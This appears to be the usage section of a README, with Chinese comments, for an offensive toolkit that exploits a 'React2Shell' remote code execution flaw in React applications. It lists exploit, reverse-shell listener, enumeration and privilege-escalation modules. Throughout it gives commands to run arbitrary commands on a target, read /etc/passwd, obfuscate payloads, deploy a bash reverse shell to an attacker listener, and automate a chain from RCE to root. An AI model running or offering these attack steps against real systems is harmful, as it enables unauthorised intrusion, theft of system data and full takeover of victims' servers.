python3 interactive_shell.py --target http://127.0.0.1:3000

# 完整利用：RCE → 枚举 → Root 访问
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root

Cerberus-React2Shell-Hades/
├── react2shell_exploit.py      # 核心利用引擎（400+ 行）
├── demo_exploit.py              # 自动化攻击链（290+ 行）
├── interactive_shell.py         # 交互式 Shell（280+ 行）
├── reverse_shell_handler.py     # 反向 Shell 监听器（180+ 行）
├── post_exploit/
│   ├── linux_enum.py           # 系统枚举（330+ 行）
│   ├── priv_esc.py             # 权限提升（320+ 行）
│   └── __init__.py
├── EXPLOITATION_GUIDE.md        # 完整使用文档
├── QUICKSTART.md                # 快速参考
└── BANNER.txt

# 漏洞检查
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check

# 执行命令
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "whoami"
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "cat /etc/passwd"

# 不同的载荷变体
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --variant spawn

# 启用混淆
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --obfuscate

# 启动 Shell
python3 interactive_shell.py --target http://127.0.0.1:3000

# 可用命令：
# - execute <cmd>        : 执行 Shell 命令
# - enum                 : 运行完整枚举
# - escalate             : 尝试权限提升
# - upload <local> <remote>  : 上传文件
# - download <remote> <local>: 下载文件
# - shell <lhost> <lport>: 部署反向 Shell
# - info                 : 显示会话信息
# - exit                 : 退出

# 终端 1：启动监听器
python3 reverse_shell_handler.py --lport 4444

# 终端 2：部署 Shell
python3 react2shell_exploit.py --target http://127.0.0.1:3000 \
  --revshell --lhost 127.0.0.1 --lport 4444 --shell-type bash

# 完整攻击链：发现 → RCE → 枚举 → Root
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root

pip install -r requirements.txt